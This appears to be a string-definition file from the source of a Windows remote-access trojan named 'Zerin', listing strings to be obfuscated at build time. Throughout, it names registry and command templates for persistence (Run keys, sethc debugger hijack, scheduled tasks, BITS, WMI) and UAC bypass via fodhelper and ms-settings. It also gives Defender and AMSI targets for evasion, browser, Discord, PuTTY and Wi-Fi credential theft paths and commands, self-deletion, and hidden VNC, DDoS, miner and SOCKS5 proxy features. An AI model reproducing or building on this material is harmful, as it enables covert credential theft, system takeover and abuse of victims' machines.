# Obfuscated string definitions — one ID, "string" per line
# Lines starting with # are comments. Blank lines are ignored.
# Generated code uses ChaCha20 encryption with a random key per build.

OBF_ZERIN_UPDATE,         "ZerinUpdate"
OBF_ZERIN_SVC,            "ZerinSvc"
OBF_ZERIN_MAINTENANCE,    "ZerinMaintenance"
OBF_ZERIN_TRANSFER,       "ZerinTransfer"
OBF_ZERIN_WMI,            "ZerinWMI"
OBF_ZERIN_PORT,           "ZerinPort"
OBF_ZERIN_UPDATE_EXE,     "ZerinUpdate.exe"
OBF_ZERIN_EXE,            "zerin.exe"
OBF_RUN_KEY_PATH,         "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
OBF_SESSION_KEY_PATH,     "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SessionInfo"
OBF_ENVIRONMENT,          "Environment"
OBF_DESKTOP_PATH,         "Control Panel\\Desktop"
OBF_SCRNSAVE,             "SCRNSAVE.EXE"
OBF_LOGON_SCRIPT,         "UserInitMprLogonScript"
OBF_MAINTENANCE_VAL,      "Maintenance"
OBF_SETHC_IFEO,           "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"
OBF_PRINT_MONITORS,       "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors"
OBF_LSA_PATH,             "SYSTEM\\CurrentControlSet\\Control\\Lsa"
OBF_SECURITY_PACKAGES,    "Security Packages"
OBF_COM_CLSID_PATH,       "Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feab6b5}\\InProcServer32"
OBF_SHM_NAME,             "Local\\ZerinRkShm"
OBF_EVT_NAME,             "Local\\ZerinRkEvt"
OBF_SERVICES_PATH,        "SYSTEM\\CurrentControlSet\\Services"
OBF_DEBUGGER,             "Debugger"
OBF_DRIVER,               "Driver"
OBF_THREADING_MODEL,      "ThreadingModel"
OBF_SCREEN_SAVE_ACTIVE,   "ScreenSaveActive"
OBF_SCREEN_SAVE_TIMEOUT,  "ScreenSaveTimeOut"
OBF_ZERIN_DISPLAY,        "Zerin Maintenance Service"
OBF_CMD_EXE,              "cmd.exe"
OBF_NTDLL,                "ntdll.dll"
OBF_KERNEL32,             "kernel32.dll"
OBF_ADVAPI32,             "advapi32.dll"
OBF_WINHTTP,              "winhttp.dll"
OBF_POWERSHELL,           "powershell.exe"
OBF_PERSIST_MUTEX,        "Local\\ZerinPersistMtx"
OBF_MS_SETTINGS_CMD,      "Software\\Classes\\ms-settings\\shell\\open\\command"
OBF_DELEGATE_EXECUTE,     "DelegateExecute"
OBF_NETAPI32,             "netapi32.dll"
OBF_AMSI,                 "amsi.dll"

# ── AV / Defender process names ──────────────────────────────────────
OBF_MSMPENG,              "MsMpEng.exe"
OBF_MPCMDRUN,             "MpCmdRun.exe"
OBF_MSSENSE,              "MsSense.exe"
OBF_SECHEALTH,            "SecurityHealthService.exe"
OBF_SGRMBROKER,           "SgrmBroker.exe"

# ── Browser credential paths ────────────────────────────────────────
OBF_CHROME_USERDATA,      "Google\\Chrome\\User Data"
OBF_EDGE_USERDATA,        "Microsoft\\Edge\\User Data"
OBF_BRAVE_USERDATA,       "BraveSoftware\\Brave-Browser\\User Data"
OBF_OPERA_USERDATA,       "Opera Software\\Opera Stable"
OBF_VIVALDI_USERDATA,     "Vivaldi\\User Data"
OBF_FIREFOX_REG,          "SOFTWARE\\Mozilla\\Mozilla Firefox"
OBF_FIREFOX_REGMAIN,      "SOFTWARE\\Mozilla\\Mozilla Firefox\\%s\\Main"
OBF_FIREFOX_X64,          "C:\\Program Files\\Mozilla Firefox"
OBF_FIREFOX_X86,          "C:\\Program Files (x86)\\Mozilla Firefox"

# ── DLL names ────────────────────────────────────────────────────────
OBF_VERSION_DLL,          "version.dll"
OBF_DXGI_DLL,             "dxgi.dll"
OBF_D3D11_DLL,            "d3d11.dll"
OBF_RSTRTMGR_DLL,         "rstrtmgr.dll"

# ── Command strings ─────────────────────────────────────────────────
OBF_WMIC_AV,              "cmd.exe /c wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName /format:list"
OBF_NETSH_PROFILES,       "netsh wlan show profiles"
OBF_NETSH_PROFILE_KEY,    "netsh wlan show profile name=\"%s\" key=clear"
OBF_IPCONFIG_FLUSH,       "cmd.exe /c ipconfig /flushdns"
OBF_SELF_DELETE,           "cmd.exe /c ping 127.0.0.1 -n 3 > nul & del /f /q \"%s\""

# ── Registry paths ───────────────────────────────────────────────────
OBF_REG_CRYPTOGRAPHY,     "SOFTWARE\\Microsoft\\Cryptography"
OBF_REG_PUTTY,            "SOFTWARE\\SimonTatham\\PuTTY\\Sessions"
OBF_REG_CPU,              "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"

# ── System paths ─────────────────────────────────────────────────────
OBF_NTDLL_PATH,           "C:\\Windows\\System32\\ntdll.dll"
OBF_HOSTS_PATH,           "C:\\Windows\\System32\\drivers\\etc\\hosts"
OBF_SETHC_EXE,            "sethc.exe"
OBF_FODHELPER_EXE,        "fodhelper.exe"

# ── Branding / class names ───────────────────────────────────────────
OBF_CLIPMON_CLASS,         "ZerinClipMon"
OBF_BLACK_CLASS,           "ZerinBlack"
OBF_WEBCAM_CLASS,          "ZerinWebcam"

# ── Discord paths ────────────────────────────────────────────────────
OBF_DISCORD_LDB,          "discord\\Local Storage\\leveldb"
OBF_DISCORD_CANARY_LDB,   "discordcanary\\Local Storage\\leveldb"
OBF_DISCORD_PTB_LDB,      "discordptb\\Local Storage\\leveldb"

# ── Browser exe paths (for VNC) ──────────────────────────────────────
OBF_BRAVE_EXE_PATH,       "BraveSoftware\\Brave-Browser\\Application\\brave.exe"
OBF_CHROME_EXE_PATH,      "Google\\Chrome\\Application\\chrome.exe"
OBF_EDGE_EXE_PATH,        "Microsoft\\Edge\\Application\\msedge.exe"
OBF_FIREFOX_EXE_PATH,     "Mozilla Firefox\\firefox.exe"

# ── PowerShell / persistence command templates ──────────────────────
OBF_PS_PREFIX,            "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "
OBF_PS_HIDDEN_PREFIX,     "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "
OBF_SCHTASKS_FMT,         "schtasks /Create /TN \"%s\" /TR \"\\\"%s\\\"\" /SC MINUTE /MO %s /F"
OBF_BITS_CHAIN_FMT,       "cmd.exe /c bitsadmin /create \"%s\" && bitsadmin /addfile \"%s\" \"https://localhost/noexist\" \"%%TEMP%%\\zerin_bits.tmp\" && bitsadmin /SetNotifyCmdLine \"%s\" \"%s\" NUL && bitsadmin /SetMinRetryDelay \"%s\" 60 && bitsadmin /SetNoProgressTimeout \"%s\" 2592000 && bitsadmin /resume \"%s\""
OBF_WMI_PS_FMT,           "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \""

# ── AMSI / injection ───────────────────────────────────────────────
OBF_AMSI_OPEN_SESSION,    "AmsiOpenSession"
OBF_REFLECTIVE_DLL_MAIN,  "ReflectiveDllMain"

# ── Elevation moniker ─────────────────────────────────────────────
OBF_ELEVATION_MONIKER,    "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"

# ── DDoS status strings ───────────────────────────────────────────
OBF_DDOS_STARTED_FMT,     "DDoS flood started: %s %s | %d threads | %d seconds"
OBF_DDOS_ALREADY,         "DDoS flood already running. Stop it first."
OBF_DDOS_STOPPED_FMT,     "DDoS flood stopped. Duration: %lus | Requests: %ld | Errors: %ld | Avg: %.0f req/s"
OBF_DDOS_NOT_RUNNING,     "No DDoS flood is running"

# ── Miner status strings ──────────────────────────────────────────
OBF_MINER_STARTED_FMT,    "Miner started (PID %lu) | Pool: %s | CPU: %d%% | API port: %d"
OBF_MINER_ALREADY,        "Miner already running. Stop it first."
OBF_MINER_STOPPED_FMT,    "Miner stopped (PID %lu)"
OBF_MINER_NOT_RUNNING,    "No miner is running"
OBF_MINER_DIR,            "Microsoft\\Runtime"
OBF_MINER_EXE,            "svcruntime.exe"

# ── SOCKS5 status strings ─────────────────────────────────────────
OBF_SOCKS5_STARTED,       "SOCKS5 reverse proxy started"
OBF_SOCKS5_STOPPED,       "SOCKS5 reverse proxy stopped"
OBF_SOCKS5_NOT_RUNNING,   "SOCKS5 was not running"

# ── UAC cleanup paths ─────────────────────────────────────────────
OBF_MS_SETTINGS_OPEN,     "Software\\Classes\\ms-settings\\shell\\open"
OBF_MS_SETTINGS_SHELL,    "Software\\Classes\\ms-settings\\shell"
OBF_MS_SETTINGS_ROOT,     "Software\\Classes\\ms-settings"

# ── hVNC / VNC status strings ──────────────────────────────────────
OBF_HVNC_STARTED,        "hVNC streaming started (hidden desktop created)"
OBF_HVNC_STOPPED,        "hVNC stopped (hidden desktop destroyed)"
OBF_HVNC_NOT_RUNNING,    "hVNC was not running"
OBF_HVNC_NOT_ACTIVE,     "hVNC session is not active"

# ── Persistence cleanup (uninstall) ───────────────────────────────
OBF_SCHTASKS_DELETE_FMT,  "schtasks /Delete /TN \"%s\" /F"
OBF_BITSADMIN_CANCEL_FMT, "bitsadmin /cancel \"%s\""
OBF_PS_WMIDELETE_FMT,    "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject; Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject\""

# ── PowerShell encoded command formats ─────────────────────────────
OBF_PS_ENCODED_HIDDEN,   "powershell -NoProfile -WindowStyle Hidden -EncodedCommand %s"
OBF_PS_ENCODED,          "powershell -NoProfile -EncodedCommand %s"